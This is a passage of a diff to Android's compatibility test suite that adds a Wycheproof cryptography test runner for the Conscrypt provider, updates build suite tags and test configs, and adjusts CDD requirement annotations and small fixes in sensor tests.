+ <option name="package" value="android.libcore.cts.wycheproof.conscrypt" />
+ <!-- The individual test cases don't work unless they're run in the
+ context of one of the suites, so we have to limit the test
+ infrastructure to only running the test suites. -->
+ <option name="test-package" value="android.libcore.cts.wycheproof" />
+ <option name="instrumentation-arg" key="listener"
+ value="com.android.cts.runner.CtsTestRunListener" />
+ <option name="instrumentation-arg" key="filter"
+ value="com.android.cts.core.runner.ExpectationBasedFilter" />
+ <option name="core-expectation" value="/knownfailures.txt" />
+ <option name="runtime-hint" value="10m"/>
+ </test>
+</configuration>
diff --git a/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java b/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java
new file mode 100644
index 0000000..bee62fa
--- /dev/null
+++ b/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import com.android.org.conscrypt.OpenSSLProvider;
+import com.google.security.wycheproof.AesGcmTest;
+import com.google.security.wycheproof.BasicTest;
+import com.google.security.wycheproof.CipherInputStreamTest;
+import com.google.security.wycheproof.CipherOutputStreamTest;
+import com.google.security.wycheproof.EcKeyTest;
+import com.google.security.wycheproof.EcdhTest;
+import com.google.security.wycheproof.EcdsaTest;
+import com.google.security.wycheproof.RsaEncryptionTest;
+import com.google.security.wycheproof.RsaKeyTest;
+import com.google.security.wycheproof.RsaSignatureTest;
+import com.google.security.wycheproof.TestUtil;
+import com.google.security.wycheproof.WycheproofRunner;
+import com.google.security.wycheproof.WycheproofRunner.Fast;
+import com.google.security.wycheproof.WycheproofRunner.Provider;
+import com.google.security.wycheproof.WycheproofRunner.ProviderType;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite.SuiteClasses;
+
+import java.security.Security;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Checks that our Conscrypt provider properly implements all its functionality.
+ */
+@RunWith(WycheproofRunner.class)
+@SuiteClasses({
+ AesGcmTest.class,
+ BasicTest.class,
+ CipherInputStreamTest.class,
+ CipherOutputStreamTest.class,
+ EcKeyTest.class,
+ EcdhTest.class,
+ EcdsaTest.class,
+ RsaEncryptionTest.class,
+ RsaKeyTest.class,
+ RsaSignatureTest.class
+})
+@Provider(ProviderType.CONSCRYPT)
+@Fast
+public final class ConscryptTest {
+
+ private static final List<java.security.Provider> previousProviders = new ArrayList<>();
+
+ @BeforeClass
+ public static void setUp() throws Exception {
+ previousProviders.clear();
+ previousProviders.addAll(Arrays.asList(Security.getProviders()));
+ TestUtil.installOnlyThisProvider(new OpenSSLProvider());
+ }
+
+ @AfterClass
+ public static void tearDown() throws Exception {
+ for (java.security.Provider p : Security.getProviders()) {
+ Security.removeProvider(p.getName());
+ }
+ for (java.security.Provider p : previousProviders) {
+ Security.addProvider(p);
+ }
+ }
+}
diff --git a/tests/netlegacy22.api/Android.mk b/tests/netlegacy22.api/Android.mk
index 3fca098..8639514 100644
--- a/tests/netlegacy22.api/Android.mk
+++ b/tests/netlegacy22.api/Android.mk
@@ -30,6 +30,6 @@
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/netlegacy22.api/AndroidTest.xml b/tests/netlegacy22.api/AndroidTest.xml
index 76b0174..673bdeb 100644
--- a/tests/netlegacy22.api/AndroidTest.xml
+++ b/tests/netlegacy22.api/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS Legacy android.net APIs test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="networking" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetTestCasesLegacyApi22.apk" />
diff --git a/tests/netlegacy22.permission/Android.mk b/tests/netlegacy22.permission/Android.mk
index d21cd67..262e600 100644
--- a/tests/netlegacy22.permission/Android.mk
+++ b/tests/netlegacy22.permission/Android.mk
@@ -30,6 +30,6 @@
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/netlegacy22.permission/AndroidTest.xml b/tests/netlegacy22.permission/AndroidTest.xml
index 16875a6..db6f294 100644
--- a/tests/netlegacy22.permission/AndroidTest.xml
+++ b/tests/netlegacy22.permission/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Legacy android.net Permission test cases">
<option name="config-descriptor:metadata" key="component" value="networking" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetTestCasesLegacyPermission22.apk" />
diff --git a/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 6b24a37..34422f8 100644
--- a/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficFalse
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 9727959..efabeb2 100644
--- a/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficTrue
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 7a964cc..9960bca 100644
--- a/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficUnspecified
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/openglperf2/Android.mk b/tests/openglperf2/Android.mk
index f46c7d4..4f402ca 100644
--- a/tests/openglperf2/Android.mk
+++ b/tests/openglperf2/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsOpenGlPerf2TestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := 16
diff --git a/tests/openglperf2/jni/Android.mk b/tests/openglperf2/jni/Android.mk
index c2bb7a8..174375d 100644
--- a/tests/openglperf2/jni/Android.mk
+++ b/tests/openglperf2/jni/Android.mk
@@ -21,6 +21,8 @@
# Needed in order to use fences for synchronization
LOCAL_CFLAGS += -DEGL_EGLEXT_PROTOTYPES -funsigned-char
+LOCAL_CFLAGS += -Wno-unused-parameter
+
# Get all cpp files but not hidden files
LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
diff --git a/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java b/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java
index cd14731..ab4f860 100644
--- a/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java
+++ b/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java
@@ -29,7 +29,7 @@
private static final int NUM_FRAMES_PER_SCENE = 500;
private static final int NUM_SCENES = 2;
private static final int NUM_FRAMES = NUM_FRAMES_PER_SCENE * NUM_SCENES;
- private static final int TIMEOUT = 1000000;
+ private static final int TIMEOUT = 2000000;
private static final String REPORT_LOG_NAME = "CtsOpenGlPerf2TestCases";
public GLReferenceBenchmark() {
diff --git a/tests/pdf/Android.mk b/tests/pdf/Android.mk
index 1e4a1ca..2b301af 100644
--- a/tests/pdf/Android.mk
+++ b/tests/pdf/Android.mk
@@ -34,7 +34,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsPdfTestCases
diff --git a/tests/pdf/AndroidTest.xml b/tests/pdf/AndroidTest.xml
index 5a0f718..ab88726 100644
--- a/tests/pdf/AndroidTest.xml
+++ b/tests/pdf/AndroidTest.xml
@@ -14,11 +14,14 @@
limitations under the License.
-->
<configuration description="Config for CTS Pdf test cases">
+ <option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="component" value="framework" />
+
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsPdfTestCases.apk" />
</target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.graphics.pdf.cts" />
<option name="runtime-hint" value="5m" />
diff --git a/tests/sample/Android.mk b/tests/sample/Android.mk
index 419faa5..f6d8760 100755
--- a/tests/sample/Android.mk
+++ b/tests/sample/Android.mk
@@ -25,12 +25,15 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSampleDeviceTestCases
diff --git a/tests/sensor/Android.mk b/tests/sensor/Android.mk
index 7b6dd32..dcf9015 100644
--- a/tests/sensor/Android.mk
+++ b/tests/sensor/Android.mk
@@ -32,7 +32,7 @@
LOCAL_SDK_VERSION := current
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
+-include cts/error_prone_rules_tests.mk
include $(BUILD_STATIC_JAVA_LIBRARY)
#
@@ -60,7 +60,7 @@
LOCAL_SDK_VERSION := current
LOCAL_NDK_STL_VARIANT := c++_shared
-
+-include cts/error_prone_rules_tests.mk
include $(BUILD_SHARED_LIBRARY)
#
@@ -73,7 +73,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
diff --git a/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
index cb4076c..25512ec 100644
--- a/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
+++ b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
@@ -25,6 +25,8 @@
import android.hardware.cts.helpers.sensorverification.EventBasicVerification;
import android.hardware.cts.helpers.sensorverification.ISensorVerification;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.concurrent.TimeUnit;
/**
@@ -55,10 +57,12 @@
*/
private static final int BATCHING_PADDING_TIME_S = (int) Math.ceil(BATCHING_PERIOD * 0.1f + 2);
+ @CddTest(requirement="7.3/C-1-3")
public void testAccelerometer_fastest_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_FASTEST, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testAccelerometer_50hz_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_50HZ, BATCHING_PERIOD);
}
@@ -87,18 +91,20 @@
runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
}
- public void tesAccelUncalibrated_fastest_flush() throws Throwable {
+ public void testAccelUncalibrated_fastest_flush() throws Throwable {
runFlushSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
}
- public void tesAccelUncalibrated_50hz_flush() throws Throwable {
+ public void testAccelUncalibrated_50hz_flush() throws Throwable {
runFlushSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testMagneticField_fastest_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_FASTEST, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testMagneticField_50hz_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_50HZ, BATCHING_PERIOD);
}
@@ -131,10 +137,12 @@
runFlushSensorTest(Sensor.TYPE_ORIENTATION, RATE_50HZ, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testGyroscope_fastest_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_GYROSCOPE, RATE_FASTEST, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testGyroscope_50hz_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ, BATCHING_PERIOD);
}
@@ -147,10 +155,12 @@
runFlushSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testPressure_fastest_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_PRESSURE, RATE_FASTEST, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testPressure_50hz_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_PRESSURE, RATE_50HZ, BATCHING_PERIOD);
}
@@ -163,10 +173,12 @@
runFlushSensorTest(Sensor.TYPE_PRESSURE, RATE_50HZ, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testGravity_fastest_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_GRAVITY, RATE_FASTEST, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testGravity_50hz_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ, BATCHING_PERIOD);
}
@@ -179,10 +191,12 @@
runFlushSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testRotationVector_fastest_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testRotationVector_50hz_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
}
@@ -211,10 +225,12 @@
runFlushSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testGameRotationVector_fastest_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testGameRotationVector_50hz_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
}
@@ -243,10 +259,12 @@
runFlushSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testLinearAcceleration_fastest_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_FASTEST, BATCHING_PERIOD);
}
+ @CddTest(requirement="7.3/C-1-3")
public void testLinearAcceleration_50hz_batching() throws Throwable {
runBatchingSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_50HZ, BATCHING_PERIOD);
}
diff --git a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
index 5eb6955..8f65c54 100644
--- a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
@@ -31,6 +31,8 @@
import android.os.SystemClock;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.IOException;
import java.io.UncheckedIOException;
import java.nio.ByteBuffer;
@@ -41,8 +43,6 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Checks Sensor Direct Report functionality
*
@@ -78,7 +78,6 @@
* - testCloseWithoutConfigStop
* test a common mistake in API usage and make sure no negative effect is made to system.
*/
-@CddTest(requirement="7.3.9/C-3-1,C-3-2")
public class SensorDirectReportTest extends SensorTestCase {
private static final String TAG = "SensorDirectReportTest";
// nominal rates of each rate level supported
@@ -207,6 +206,7 @@
(mHardwareBuffer != null && mHardwareBufferSecondary != null));
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testAccelerometerAshmemNormal() {
runSensorDirectReportTest(
Sensor.TYPE_ACCELEROMETER,
@@ -214,6 +214,7 @@
SensorDirectChannel.RATE_NORMAL);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testGyroscopeAshmemNormal() {
runSensorDirectReportTest(
Sensor.TYPE_GYROSCOPE,
@@ -221,6 +222,7 @@
SensorDirectChannel.RATE_NORMAL);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testMagneticFieldAshmemNormal() {
runSensorDirectReportTest(
Sensor.TYPE_MAGNETIC_FIELD,
@@ -228,6 +230,7 @@
SensorDirectChannel.RATE_NORMAL);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testAccelerometerAshmemFast() {
runSensorDirectReportTest(
Sensor.TYPE_ACCELEROMETER,
@@ -236,6 +239,7 @@
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testGyroscopeAshmemFast() {
runSensorDirectReportTest(
Sensor.TYPE_GYROSCOPE,
@@ -243,6 +247,7 @@
SensorDirectChannel.RATE_FAST);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testMagneticFieldAshmemFast() {
runSensorDirectReportTest(
Sensor.TYPE_MAGNETIC_FIELD,
@@ -250,6 +255,7 @@
SensorDirectChannel.RATE_FAST);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testAccelerometerAshmemVeryFast() {
runSensorDirectReportTest(
Sensor.TYPE_ACCELEROMETER,
@@ -258,6 +264,7 @@
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testGyroscopeAshmemVeryFast() {
runSensorDirectReportTest(
Sensor.TYPE_GYROSCOPE,
@@ -265,6 +272,7 @@
SensorDirectChannel.RATE_VERY_FAST);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testMagneticFieldAshmemVeryFast() {
runSensorDirectReportTest(
Sensor.TYPE_MAGNETIC_FIELD,
@@ -272,6 +280,7 @@
SensorDirectChannel.RATE_VERY_FAST);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testAccelerometerHardwareBufferNormal() {
runSensorDirectReportTest(
Sensor.TYPE_ACCELEROMETER,
@@ -279,6 +288,7 @@
SensorDirectChannel.RATE_NORMAL);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testGyroscopeHardwareBufferNormal() {
runSensorDirectReportTest(
Sensor.TYPE_GYROSCOPE,
@@ -286,6 +296,7 @@
SensorDirectChannel.RATE_NORMAL);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testMagneticFieldHardwareBufferNormal() {
runSensorDirectReportTest(
Sensor.TYPE_MAGNETIC_FIELD,
@@ -293,6 +304,7 @@
SensorDirectChannel.RATE_NORMAL);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testAccelerometerHardwareBufferFast() {
runSensorDirectReportTest(
Sensor.TYPE_ACCELEROMETER,
@@ -300,6 +312,7 @@
SensorDirectChannel.RATE_FAST);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testGyroscopeHardwareBufferFast() {
runSensorDirectReportTest(
Sensor.TYPE_GYROSCOPE,
@@ -307,6 +320,7 @@
SensorDirectChannel.RATE_FAST);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testMagneticFieldHardwareBufferFast() {
runSensorDirectReportTest(
Sensor.TYPE_MAGNETIC_FIELD,
@@ -314,6 +328,7 @@
SensorDirectChannel.RATE_FAST);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testAccelerometerHardwareBufferVeryFast() {
runSensorDirectReportTest(
Sensor.TYPE_ACCELEROMETER,
@@ -321,6 +336,7 @@
SensorDirectChannel.RATE_VERY_FAST);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testGyroscopeHardwareBufferVeryFast() {
runSensorDirectReportTest(
Sensor.TYPE_GYROSCOPE,
@@ -328,6 +344,7 @@
SensorDirectChannel.RATE_VERY_FAST);
}
+ @CddTest(requirement="7.3.9/C-3-1,C-3-2")
public void testMagneticFieldHardwareBufferVeryFast() {
runSensorDirectReportTest(
Sensor.TYPE_MAGNETIC_FIELD,
diff --git a/tests/sensor/src/android/hardware/cts/SensorManagerStaticTest.java b/tests/sensor/src/android/hardware/cts/SensorManagerStaticTest.java
index d097433..11ac701 100644
--- a/tests/sensor/src/android/hardware/cts/SensorManagerStaticTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorManagerStaticTest.java
@@ -22,11 +22,8 @@
import android.hardware.SensorManager;
import android.os.PowerManager;
-import com.android.compatibility.common.util.CddTest;
-
import java.util.Random;
-@CddTest(requirement="7.3.1/C-1-3")
public class SensorManagerStaticTest extends SensorTestCase {
private static final String TAG = "SensorManagerTest";
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 5a89bf9..fe8408f 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -22,7 +22,9 @@
import android.hardware.SensorManager;
import android.hardware.cts.helpers.SensorCtsHelper;
import android.text.TextUtils;
+
import com.android.compatibility.common.util.CddTest;
+
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.TimeUnit;
@@ -75,38 +77,38 @@
mVrModeHighPerformance = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
}
- @CddTest(requirement="7.3.9/C-2-1")
+ @CddTest(requirement="7.3.9/C-2-1,7.3/C-1-1")
public void testAccelerometerRange() {
checkSensorRangeAndFrequency(
- Sensor.TYPE_ACCELEROMETER,
+ mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
ACCELEROMETER_MAX_RANGE,
ACCELEROMETER_MIN_FREQUENCY,
ACCELEROMETER_MAX_FREQUENCY);
- }
+ }
- @CddTest(requirement="7.3.9/C-2-3")
- public void testGyroscopeRange() {
+ @CddTest(requirement="7.3.9/C-2-3,7.3/C-1-1")
+ public void testGyroscopeRange() {
checkSensorRangeAndFrequency(
- Sensor.TYPE_GYROSCOPE,
+ mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE),
GYRO_MAX_RANGE,
GYRO_MIN_FREQUENCY,
GYRO_MAX_FREQUENCY);
- }
+ }
- @CddTest(requirement="7.3.9/C-2-5")
- public void testMagnetometerRange() {
+ @CddTest(requirement="7.3.9/C-2-5,7.3/C-1-1")
+ public void testMagnetometerRange() {
checkSensorRangeAndFrequency(
- Sensor.TYPE_MAGNETIC_FIELD,
+ mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD),
MAGNETOMETER_MAX_RANGE,
MAGNETOMETER_MIN_FREQUENCY,
MAGNETOMETER_MAX_FREQUENCY);
}
- @CddTest(requirement="7.3.9/C-2-7")
+ @CddTest(requirement="7.3.9/C-2-7,7.3/C-1-1")
public void testPressureRange() {
if (mHasHifiSensors) {
checkSensorRangeAndFrequency(
- Sensor.TYPE_PRESSURE,
+ mSensorManager.getDefaultSensor(Sensor.TYPE_PRESSURE),
PRESSURE_MAX_RANGE,
PRESSURE_MIN_FREQUENCY,
PRESSURE_MAX_FREQUENCY);
@@ -114,14 +116,8 @@
}
private void checkSensorRangeAndFrequency(
- int sensorType, double maxRange, double minFrequency, double maxFrequency) {
+ Sensor sensor, double maxRange, double minFrequency, double maxFrequency) {
if (!mHasHifiSensors && !mVrModeHighPerformance) return;
-
- Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
- if (sensor == null) {
- fail(String.format("Must support sensor type %d", sensorType));
- }
-
assertTrue(String.format("%s Range actual=%.2f expected=%.2f %s",
sensor.getName(), sensor.getMaximumRange(), maxRange,
SensorCtsHelper.getUnitsForSensor(sensor)),
@@ -193,7 +189,7 @@
for (Sensor s : sensors) {
int id = s.getId();
if (id != 0) {
- errors.add(String.format("sensor \"%s\" has id %d", s.getName(), s));
+ errors.add(String.format("sensor \"%s\" has id %d", s.getName(), id));
}
}
if (errors.size() > 0) {
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
index cad33ee..09e4711 100644
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -20,7 +20,6 @@
import android.content.pm.PackageManager;
import android.hardware.Sensor;
import android.hardware.SensorManager;
-import com.android.compatibility.common.util.CddTest;
/**
* Checks if Hifi sensors or VR High performance mode sensors
@@ -35,7 +34,6 @@
* -w android.hardware.cts/android.test.AndroidJUnitRunner
* </pre>
*/
-@CddTest(requirement="7.3.9")
public class SensorSupportTest extends SensorTestCase {
private SensorManager mSensorManager;
private boolean mAreHifiSensorsSupported;
@@ -53,57 +51,46 @@
}
}
- @CddTest(requirement="7.3.9/C-2-1")
public void testSupportsAccelerometer() {
checkSupportsSensor(Sensor.TYPE_ACCELEROMETER);
}
- @CddTest(requirement="7.3.9/C-2-3")
public void testSupportsGyroscope() {
checkSupportsSensor(Sensor.TYPE_GYROSCOPE);
}
- @CddTest(requirement="7.3.9/C-2-4")
public void testSupportsGyroscopeUncalibrated() {
checkSupportsSensor(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
}
- @CddTest(requirement="7.3.9/C-2-5")
public void testSupportsGeoMagneticField() {
checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD);
}
- @CddTest(requirement="7.3.9/C-2-6")
public void testSupportsMagneticFieldUncalibrated() {
checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
}
- @CddTest(requirement="7.3.9/C-2-7")
public void testSupportsPressure() {
checkSupportsSensor(Sensor.TYPE_PRESSURE);
}
- @CddTest(requirement="7.3.9/C-2-8")
public void testSupportsRotationVector() {
checkSupportsSensor(Sensor.TYPE_ROTATION_VECTOR);
}
- @CddTest(requirement="7.3.9/C-2-9")
public void testSupportsSignificantMotion() {
checkSupportsSensor(Sensor.TYPE_SIGNIFICANT_MOTION);
}
- @CddTest(requirement="7.3.9/C-2-10")
public void testSupportsStepDetector() {
checkSupportsSensor(Sensor.TYPE_STEP_DETECTOR);
}
- @CddTest(requirement="7.3.9/C-2-11")
public void testSupportsStepCounter() {
checkSupportsSensor(Sensor.TYPE_STEP_COUNTER);
}
- @CddTest(requirement="7.3.9/C-2-12")
public void testSupportsTiltDetector() {
final int TYPE_TILT_DETECTOR = 22;
checkSupportsSensor(TYPE_TILT_DETECTOR);
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index 18ac448..f62bb7a 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -45,15 +45,14 @@
import android.platform.test.annotations.Presubmit;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
